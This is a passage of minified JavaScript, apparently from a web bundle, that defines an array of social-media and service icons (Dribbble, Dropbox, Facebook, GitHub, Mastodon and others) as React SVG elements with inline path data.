2.16-2.405 2.178 1.083 2.157 2.405-.951 2.395-2.158 2.395&quot;})})})},{name:&quot;dribbble&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10m8.434-8.631c-.292-.092-2.644-.794-5.32-.365 1.117 3.07 1.572 5.57 1.659 6.09a8.56 8.56 0 0 0 3.661-5.725m-5.098 6.507c-.127-.749-.623-3.361-1.822-6.477l-.056.019c-4.818 1.679-6.547 5.02-6.701 5.334A8.5 8.5 0 0 0 12 20.555a8.5 8.5 0 0 0 3.336-.679m-9.682-2.152c.193-.331 2.538-4.213 6.943-5.637q.167-.054.337-.102a29 29 0 0 0-.692-1.45c-4.266 1.277-8.405 1.223-8.778 1.216a8.497 8.497 0 0 0 2.19 5.973m-2.015-7.46c.382.005 3.901.02 7.897-1.041a55 55 0 0 0-3.167-4.94 8.57 8.57 0 0 0-4.73 5.981m6.359-6.555a46 46 0 0 1 3.187 5c3.037-1.138 4.323-2.867 4.477-3.085a8.51 8.51 0 0 0-7.664-1.915m8.614 2.903c-.18.243-1.612 2.078-4.77 3.367a27 27 0 0 1 .751 1.678c2.842-.357 5.666.215 5.948.275a8.5 8.5 0 0 0-1.929-5.32&quot;})})})},{name:&quot;dropbox&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 6.134 6.069 9.797 2 6.54l5.883-3.843zm-10 6.92 5.883 3.843L12 13.459 6.069 9.797zm10 .405 4.116 3.439L22 13.054l-4.069-3.257zM22 6.54l-5.884-3.843L12 6.134l5.931 3.663zm-9.989 7.66-4.129 3.426-1.767-1.153v1.291l5.896 3.539 5.897-3.539v-1.291l-1.769 1.153z&quot;})})})},{name:&quot;eventbrite&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M18.041 3.931 5.959 3A2.96 2.96 0 0 0 3 5.959v12.083A2.96 2.96 0 0 0 5.959 21l12.083-.931C19.699 19.983 21 18.744 21 17.11V6.89c0-1.634-1.259-2.863-2.959-2.959M16.933 8.17c-.082.215-.192.432-.378.551-.188.122-.489.132-.799.132-1.521 0-3.062-.048-4.607-.048q-.23 1.061-.451 2.128c.932-.004 1.873.005 2.81.005.726 0 1.462-.069 1.586.525.04.189-.001.426-.052.615-.105.38-.258.676-.625.783-.185.054-.408.058-.646.058-1.145 0-2.345.017-3.493.02-.169.772-.328 1.553-.489 2.333 1.57-.005 3.067-.041 4.633-.058.627-.007 1.085.194 1.009.85a2.2 2.2 0 0 1-.211.725c-.102.208-.248.376-.488.452-.237.075-.541.064-.862.078-.304.014-.614.008-.924.016-.309.009-.619.022-.919.022-1.253 0-2.429.08-3.683.073-.603-.004-1.014-.249-1.124-.757-.059-.273-.018-.58.036-.841a3543 3543 0 0 1 1.629-7.763c.056-.265.114-.511.225-.714a1.24 1.24 0 0 1 .79-.62c.368-.099.883-.047 1.344-.047.305 0 .612.008.914.016.925.026 1.817.03 2.747.053.304.007.615.016.915.016.621 0 1.17.073 1.245.614.039.288-.051.567-.132.783&quot;})})})},{name:&quot;facebook&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10&quot;})})})},{name:&quot;fediverse&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 743 743&quot;,children:(0,r.jsxs)(&quot;g&quot;,{children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M181.131 275.137a68.9 68.9 0 0 1-29.465 29.328l161.758 162.389 38.998-19.764zm213.363 214.187-38.998 19.764 81.963 82.283a68.9 68.9 0 0 1 29.471-29.332zM581.646 339.391l-91.576 46.41 6.752 43.189 103.616-52.513a68.9 68.9 0 0 1-18.792-37.086m-144.738 73.351L220.383 522.477a68.9 68.9 0 0 1 18.795 37.089L443.66 455.934zM367.275 142.438l-104.48 203.97 30.848 30.967 110.623-215.957a68.9 68.9 0 0 1-36.991-18.98M235.621 399.459l-52.922 103.314a68.9 68.9 0 0 1 36.987 18.979l46.781-91.328zM150.768 304.918a68.9 68.9 0 0 1-34.416 7.195 69 69 0 0 1-6.651-.695l30.903 197.662a68.9 68.9 0 0 1 34.416-7.195 69 69 0 0 1 6.646.695zM239.342 560.545c.707 4.589.949 9.239.72 13.877a68.9 68.9 0 0 1-7.267 27.18l197.629 31.712c-.708-4.59-.95-9.24-.723-13.878a68.9 68.9 0 0 1 7.27-27.178zM601.133 377.199l-91.219 178.082a68.9 68.9 0 0 1 36.994 18.983l91.217-178.08a68.9 68.9 0 0 1-36.992-18.985M476.723 125.33a68.9 68.9 0 0 1-29.471 29.332l141.266 141.811a68.9 68.9 0 0 1 29.468-29.332zM347.787 104.631l-178.576 90.498a68.9 68.9 0 0 1 18.793 37.086l178.574-90.502a68.9 68.9 0 0 1-18.791-37.082M446.926 154.826a68.9 68.9 0 0 1-34.983 7.483 69 69 0 0 1-6.029-.633l15.818 101.291 43.163 6.926zm-16 167.028 37.4 239.482a68.9 68.9 0 0 1 33.914-6.943q3.625.206 7.207.791L474.09 328.777zM188.131 232.975c.734 4.66.988 9.383.758 14.095a68.9 68.9 0 0 1-7.16 26.983l101.369 16.281 19.923-38.908zm173.736 27.9-19.926 38.912 239.514 38.467a69 69 0 0 1-.695-13.719 68.9 68.9 0 0 1 7.349-27.324z&quot;}),(0,r.jsx)(&quot;path&quot;,{fillOpacity:&quot;.996&quot;,d:&quot;M412.284 156.054c34.538 1.882 64.061-24.592 65.943-59.13s-24.592-64.062-59.131-65.943c-34.538-1.882-64.061 24.592-65.943 59.13s24.593 64.062 59.131 65.943M646.144 390.82c34.538 1.881 64.062-24.593 65.943-59.131s-24.592-64.061-59.13-65.943-64.062 24.593-65.943 59.131 24.592 64.061 59.13 65.943M495.086 685.719c34.538 1.881 64.062-24.592 65.943-59.13s-24.592-64.062-59.13-65.943-64.062 24.592-65.943 59.13 24.592 64.062 59.13 65.943M167.866 633.211c34.538 1.882 64.062-24.592 65.943-59.13s-24.592-64.062-59.13-65.943-64.062 24.592-65.943 59.13 24.592 64.062 59.13 65.943M116.692 305.86c34.538 1.882 64.062-24.592 65.943-59.13s-24.592-64.062-59.131-65.943c-34.538-1.881-64.061 24.592-65.943 59.13s24.593 64.062 59.131 65.943&quot;})]})})},{name:&quot;feed&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M2 8.667V12c5.515 0 10 4.485 10 10h3.333c0-7.363-5.97-13.333-13.333-13.333M2 2v3.333c9.19 0 16.667 7.477 16.667 16.667H22C22 10.955 13.045 2 2 2m2.5 15a2.5 2.5 0 1 0 0 5 2.5 2.5 0 0 0 0-5&quot;})})})},{name:&quot;flickr&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5m11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5&quot;})})})},{name:&quot;foursquare&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M17.573 2H6.905C5.434 2 5 3.107 5 3.805v16.948c0 .785.422 1.077.66 1.172.238.097.892.177 1.285-.275 0 0 5.035-5.843 5.122-5.93.132-.132.132-.132.262-.132h3.26c1.368 0 1.588-.977 1.732-1.552.078-.318.692-3.428 1.225-6.122l.675-3.368C19.56 2.893 19.14 2 17.573 2m-1.078 5.22c-.053.252-.372.518-.665.518h-4.157c-.467 0-.802.318-.802.787v.508c0 .467.337.798.805.798h3.528c.331 0 .655.362.583.715s-.407 2.102-.448 2.295c-.04.193-.262.523-.655.523h-2.88c-.523 0-.683.068-1.033.503-.35.437-3.505 4.223-3.505 4.223-.032.035-.063.027-.063-.015V4.852c0-.298.26-.648.648-.648h8.562c.315 0 .61.297.528.683z&quot;})})})},{name:&quot;ghost&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M10.203 20.997H3.005v-3.599h7.198zm10.792-3.599h-7.193v3.599h7.193zm.003-7.198H3v3.599h17.998zm-7.195-7.197H3.005v3.599h10.798zm7.197 0h-3.599v3.599H21z&quot;})})})},{name:&quot;git&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M23.519 10.947 13.053.482a1.543 1.543 0 0 0-2.183 0L8.696 2.656l2.756 2.756a1.83 1.83 0 0 1 1.886.439 1.84 1.84 0 0 1 .436 1.898l2.656 2.657a1.83 1.83 0 0 1 1.899.436 1.837 1.837 0 0 1 0 2.597 1.84 1.84 0 0 1-2.599 0 1.84 1.84 0 0 1-.4-1.998l-2.478-2.477v6.521a1.837 1.837 0 0 1 .485 2.945 1.837 1.837 0 0 1-2.597 0 1.837 1.837 0 0 1 0-2.598 1.8 1.8 0 0 1 .602-.401V8.85a1.8 1.8 0 0 1-.602-.4 1.84 1.84 0 0 1-.395-2.009L7.628 3.723.452 10.898a1.544 1.544 0 0 0 0 2.184l10.467 10.467a1.544 1.544 0 0 0 2.183 0l10.417-10.418a1.546 1.546 0 0 0 0-2.184&quot;})})})},{name:&quot;github&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.477 2 2 6.477 2 12c0 4.419 2.865 8.166 6.839 9.489.5.09.682-.218.682-.484 0-.236-.009-.866-.014-1.699-2.782.602-3.369-1.34-3.369-1.34-.455-1.157-1.11-1.465-1.11-1.465-.909-.62.069-.608.069-.608 1.004.071 1.532 1.03 1.532 1.03.891 1.529 2.341 1.089 2.91.833.091-.647.349-1.086.635-1.337-2.22-.251-4.555-1.111-4.555-4.943 0-1.091.39-1.984 1.03-2.682-.103-.254-.447-1.27.097-2.646 0 0 .84-.269 2.75 1.025A9.6 9.6 0 0 1 12 6.836c.85.004 1.705.114 2.504.336 1.909-1.294 2.748-1.025 2.748-1.025.546 1.376.202 2.394.1 2.646.64.699 1.026 1.591 1.026 2.682 0 3.841-2.337 4.687-4.565 4.935.359.307.679.917.679 1.852 0 1.335-.012 2.415-.012 2.741 0 .269.18.579.688.481A10 10 0 0 0 22 12c0-5.523-4.477-10-10-10&quot;})})})},{name:&quot;google-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m-.05 16c-3.312 0-6-2.688-6-6s2.688-6 6-6c1.62 0 2.976.594 4.014 1.566L14.26 9.222c-.432-.408-1.188-.888-2.31-.888-1.986 0-3.606 1.65-3.606 3.672s1.62 3.672 3.606 3.672c2.298 0 3.144-1.59 3.3-2.532h-3.306v-2.238h5.616c.084.378.15.732.15 1.23 0 3.426-2.298 5.862-5.76 5.862&quot;})})})},{name:&quot;google-plus-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M8 11h6.61c.06.35.11.7.11 1.16 0 4-2.68 6.84-6.72 6.84-3.87 0-7-3.13-7-7s3.13-7 7-7c1.89 0 3.47.69 4.69 1.83l-1.9 1.83c-.52-.5-1.43-1.08-2.79-1.08-2.39 0-4.34 1.98-4.34 4.42S5.61 16.42 8 16.42c2.77 0 3.81-1.99 3.97-3.02H8zm15 0h-2V9h-2v2h-2v2h2v2h2v-2h2&quot;})})})},{name:&quot;google-plus&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m-1.919 14.05a4.051 4.051 0 0 1 0-8.1c1.094 0 2.009.401 2.709 1.057l-1.15 1.118a2.23 2.23 0 0 0-1.559-.599c-1.341 0-2.434 1.114-2.434 2.479s1.094 2.479 2.434 2.479c1.551 0 2.122-1.073 2.227-1.709h-2.232v-1.511h3.791c.057.255.101.494.101.83.001 2.312-1.55 3.956-3.887 3.956M19 12.75h-1.25V14h-1.5v-1.25H15v-1.5h1.25V10h1.5v1.25H19z&quot;})})})},{name:&quot;google&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12.02 10.18v3.73h5.51c-.26 1.57-1.67 4.22-5.5 4.22-3.31 0-6.01-2.75-6.01-6.12s2.7-6.12 6.01-6.12c1.87 0 3.13.8 3.85 1.48l2.84-2.76C16.99 2.99 14.73 2 12.03 2c-5.52 0-10 4.48-10 10s4.48 10 10 10c5.77 0 9.6-4.06 9.6-9.77 0-.83-.11-1.42-.25-2.05z&quot;})})})},{name:&quot;instagram&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 4.622c2.403 0 2.688.009 3.637.052.877.04 1.354.187 1.671.31.42.163.72.358 1.035.673s.51.615.673 1.035c.123.317.27.794.31 1.671.043.949.052 1.234.052 3.637s-.009 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.671-.163.42-.358.72-.673 1.035s-.615.51-1.035.673c-.317.123-.794.27-1.671.31-.949.043-1.233.052-3.637.052s-2.688-.009-3.637-.052c-.877-.04-1.354-.187-1.671-.31a2.8 2.8 0 0 1-1.035-.673 2.8 2.8 0 0 1-.673-1.035c-.123-.317-.27-.794-.31-1.671-.043-.949-.052-1.234-.052-3.637s.009-2.688.052-3.637c.04-.877.187-1.354.31-1.671.163-.42.358-.72.673-1.035s.615-.51 1.035-.673c.317-.123.794-.27 1.671-.31.949-.043 1.234-.052 3.637-.052M12 3c-2.444 0-2.751.01-3.711.054-.958.044-1.612.196-2.184.418a4.4 4.4 0 0 0-1.594 1.039c-.5.5-.808 1.002-1.038 1.594-.223.572-.375 1.226-.419 2.184C3.01 9.249 3 9.556 3 12s.01 2.751.054 3.711c.044.958.196 1.612.418 2.185.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.267.054 3.711.054s2.751-.01 3.711-.054c.958-.044 1.612-.196 2.185-.418a4.4 4.4 0 0 0 1.594-1.038c.5-.5.808-1.002 1.038-1.594.222-.572.375-1.227.418-2.185.044-.96.054-1.267.054-3.711s-.01-2.751-.054-3.711c-.044-.958-.196-1.612-.418-2.185A4.4 4.4 0 0 0 19.49 4.51c-.5-.5-1.002-.808-1.594-1.038-.572-.222-1.227-.375-2.185-.418C14.751 3.01 14.444 3 12 3m0 4.378a4.622 4.622 0 1 0 0 9.244 4.622 4.622 0 0 0 0-9.244M12 15a3 3 0 1 1 0-6 3 3 0 0 1 0 6m4.804-8.884a1.08 1.08 0 1 0 .001 2.161 1.08 1.08 0 0 0-.001-2.161&quot;})})})},{name:&quot;json-feed&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsxs)(&quot;g&quot;,{children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;m8.522 17.424.027.027c1.076-1.076 1.854-.993 3.154.306l2.053 2.053c2.136 2.136 4.131 2.028 6.515-.356l.729-.728-1.548-1.548-.373.373c-1.349 1.349-2.293 1.366-3.585.075l-2.409-2.409c-1.242-1.242-2.475-1.366-3.659-.381l-.232-.232c1.01-1.225.911-2.368-.29-3.568l-2.16-2.162c-1.317-1.317-1.308-2.236.058-3.602l.372-.372-1.54-1.54-.728.729c-2.393 2.393-2.525 4.346-.439 6.433l1.78 1.78c1.3 1.3 1.383 2.095.315 3.163l.008.008a1.384 1.384 0 0 0 1.952 1.951&quot;}),(0,r.jsx)(&quot;circle&quot;,{cx:&quot;13.089&quot;,cy:&quot;10.905&quot;,r:&quot;1.383&quot;}),(0,r.jsx)(&quot;circle&quot;,{cx:&quot;16.349&quot;,cy:&quot;7.644&quot;,r:&quot;1.383&quot;}),(0,r.jsx)(&quot;circle&quot;,{cx:&quot;19.61&quot;,cy:&quot;4.383&quot;,r:&quot;1.383&quot;})]})})},{name:&quot;line&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M14.255 9.572v3.333c0 .084-.066.15-.15.15h-.534a.16.16 0 0 1-.122-.061l-1.528-2.063v1.978c0 .084-.066.15-.15.15h-.534a.15.15 0 0 1-.15-.15V9.576c0-.084.066-.15.15-.15h.529a.14.14 0 0 1 .122.066l1.528 2.063V9.577c0-.084.066-.15.15-.15h.534a.15.15 0 0 1 .155.145m-3.844-.15h-.534a.15.15 0 0 0-.15.15v3.333c0 .084.066.15.15.15h.534c.084 0 .15-.066.15-.15V9.572c0-.08-.066-.15-.15-.15m-1.289 2.794H7.664V9.572a.15.15 0 0 0-.15-.15H6.98a.15.15 0 0 0-.15.15v3.333q0 .062.042.103a.16.16 0 0 0 .103.042h2.142c.084 0 .15-.066.15-.15v-.534a.15.15 0 0 0-.145-.15m7.945-2.794h-2.142c-.08 0-.15.066-.15.15v3.333c0 .08.066.15.15.15h2.142c.084 0 .15-.066.15-.15v-.534a.15.15 0 0 0-.15-.15h-1.458v-.563h1.458c.084 0 .15-.066.15-.15v-.539a.15.15 0 0 0-.15-.15h-1.458v-.563h1.458c.084 0 .15-.066.15-.15v-.534c-.005-.08-.07-.15-.15-.15M22.5 5.33v13.373c-.005 2.1-1.725 3.802-3.83 3.797H5.297c-2.1-.005-3.802-1.73-3.797-3.83V5.297c.005-2.1 1.73-3.802 3.83-3.797h13.373c2.1.005 3.802 1.725 3.797 3.83m-2.888 5.747c0-3.422-3.431-6.206-7.645-6.206s-7.645 2.784-7.645 6.206c0 3.066 2.719 5.634 6.394 6.122.895.192.792.52.591 1.725-.033.192-.155.755.661.413s4.402-2.592 6.009-4.439c1.106-1.219 1.636-2.452 1.636-3.82&quot;})})})},{name:&quot;link&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M17 13H7v-2h10zm1-6h-1c-1.631 0-3.065.792-3.977 2H18c1.103 0 2 .897 2 2v2c0 1.103-.897 2-2 2h-4.977c.913 1.208 2.347 2 3.977 2h1a4 4 0 0 0 4-4v-2a4 4 0 0 0-4-4M2 11v2a4 4 0 0 0 4 4h1c1.63 0 3.065-.792 3.977-2H6c-1.103 0-2-.897-2-2v-2c0-1.103.897-2 2-2h4.977C10.065 7.792 8.631 7 7 7H6a4 4 0 0 0-4 4&quot;})})})},{name:&quot;linkedin&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M19.7 3H4.3A1.3 1.3 0 0 0 3 4.3v15.4A1.3 1.3 0 0 0 4.3 21h15.4a1.3 1.3 0 0 0 1.3-1.3V4.3A1.3 1.3 0 0 0 19.7 3M8.339 18.338H5.667v-8.59h2.672zM7.004 8.574a1.548 1.548 0 1 1-.002-3.096 1.548 1.548 0 0 1 .002 3.096m11.335 9.764H15.67v-4.177c0-.996-.017-2.278-1.387-2.278-1.389 0-1.601 1.086-1.601 2.206v4.249h-2.667v-8.59h2.559v1.174h.037c.356-.675 1.227-1.387 2.526-1.387 2.703 0 3.203 1.779 3.203 4.092v4.711z&quot;})})})},{name:&quot;mail&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M20 4H4a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2m0 4.236-8 4.882-8-4.882V6h16z&quot;})})})},{name:&quot;mastodon&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M11.973 2.352c-2.468.02-4.842.286-6.225.921 0 0-2.742 1.229-2.742 5.415 0 .958-.018 2.105.012 3.32.1 4.094.75 8.128 4.535 9.129 1.745.462 3.244.56 4.45.494 2.19-.122 3.417-.781 3.417-.781l-.072-1.588s-1.565.491-3.32.431c-1.74-.06-3.576-.188-3.858-2.324a4 4 0 0 1-.04-.598s1.709.416 3.874.516c1.324.06 2.563-.076 3.824-.226 2.418-.29 4.524-1.78 4.79-3.141.416-2.144.38-5.232.38-5.232 0-4.186-2.74-5.415-2.74-5.415-1.383-.635-3.76-.9-6.227-.921zM9.18 5.622c1.028 0 1.804.395 2.318 1.185l.502.84.5-.84c.514-.79 1.292-1.186 2.32-1.186.888 0 1.605.313 2.15.922q.795.915.794 2.469v5.068h-2.008V9.16c0-1.037-.438-1.562-1.31-1.562-.966 0-1.448.622-1.448 1.857v2.693h-1.996V9.455c0-1.235-.484-1.857-1.45-1.857-.872 0-1.308.525-1.308 1.562v4.92H6.236V9.012q-.001-1.554.793-2.469c.547-.609 1.263-.922 2.15-.922&quot;})})})},{name:&quot;medium-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{fillRule:&quot;nonzero&quot;,d:&quot;M7.423 6c3.27 0 5.922 2.686 5.922 6s-2.651 6-5.922 6S1.5 15.313 1.5 12s2.652-6 5.923-6m9.458.351c1.635 0 2.961 2.53 2.961 5.65 0 3.118-1.325 5.648-2.96 5.648S13.92 15.119 13.92 12s1.325-5.649 2.96-5.649m4.577.589c.576 0 1.042 2.265 1.042 5.06s-.466 5.06-1.042 5.06c-.575 0-1.04-2.265-1.04-5.06s.465-5.06 1.04-5.06&quot;})})})},{name:&quot;medium&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M3 3v18h18V3zm15 4.26-1 .93a.28.28 0 0 0-.11.27v6.8a.27.27 0 0 0 .11.27l.94.93v.2h-4.75v-.2l1-1c.09-.1.09-.12.09-.27V9.74l-2.71 6.9h-.37L8 9.74v4.62a.67.67 0 0 0 .17.54l1.27 1.54v.2H5.86v-.2l1.27-1.54a.64.64 0 0 0 .17-.54V9a.5.5 0 0 0-.16-.4L6 7.26v-.2h3.52L12.23 13l2.38-5.94H18z&quot;})})})},{name:&quot;messenger&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12.026.375C5.462.375.375 5.172.375 11.652c0 3.389 1.393 6.318 3.66 8.341.391.352.311.556.377 2.73a.934.934 0 0 0 1.307.823c2.48-1.092 2.512-1.178 2.933-1.064 7.185 1.977 14.973-2.621 14.973-10.83 0-6.48-5.035-11.277-11.599-11.277m6.996 8.678L15.6 14.47a1.75 1.75 0 0 1-2.527.465l-2.723-2.038a.7.7 0 0 0-.844 0l-3.674 2.786c-.49.372-1.133-.216-.802-.735l3.422-5.417a1.75 1.75 0 0 1 2.527-.465l2.722 2.037a.7.7 0 0 0 .844 0L18.22 8.32c.489-.374 1.132.213.801.732&quot;})})})},{name:&quot;microblog&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M19.641 17.086c1.294-1.522 2.067-3.438 2.067-5.521 0-4.957-4.371-8.972-9.763-8.972s-9.763 4.015-9.763 8.972 4.371 8.972 9.763 8.972a10.5 10.5 0 0 0 3.486-.59.315.315 0 0 1 .356.112c.816 1.101 2.09 1.876 3.506 2.191a.194.194 0 0 0 .192-.309 3.82 3.82 0 0 1 .162-4.858zm-3.065-6.575-2.514 1.909.912 3.022a.286.286 0 0 1-.437.317l-2.592-1.802-2.592 1.802a.285.285 0 0 1-.436-.317l.912-3.022-2.515-1.909a.285.285 0 0 1 .167-.513l3.155-.066 1.038-2.981a.285.285 0 0 1 .539 0l1.038 2.981 3.155.066a.285.285 0 0 1 .17.513&quot;})})})},{name:&quot;nextdoor&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,strokeMiterlimit:&quot;10&quot;,viewBox:&quot;0 0 130 130&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M64.25 3.531c-31.144.337-57.596 24.22-60.469 55.907-3.064 33.799 21.857 63.685 55.657 66.75s63.685-21.857 66.75-55.657-21.857-63.686-55.657-66.75a62 62 0 0 0-6.281-.25m3.938 34.907C82.468 38.438 93.5 48.58 93.5 61.5v27c0 .685-.565 1.25-1.25 1.25H80.906a1.267 1.267 0 0 1-1.25-1.25V63.375c0-5.58-4.309-11.937-11.469-11.937-7.47 0-11.468 6.357-11.468 11.937V88.5c0 .685-.565 1.25-1.25 1.25H44.125c-.68 0-1.219-.57-1.219-1.25V64.156c0-.74-.529-1.364-1.25-1.531-13.13-2.93-15.115-10.285-15.375-21.125-.005-.332.142-.67.375-.906.233-.237.543-.375.875-.375l11.688.062c.66.01 1.187.529 1.218 1.188.13 4.44.438 9.406 4.438 9.406.83 0 1.443-1.179 1.813-1.719 4.41-6.48 12.28-10.718 21.5-10.718&quot;})})})},{name:&quot;patreon&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M20 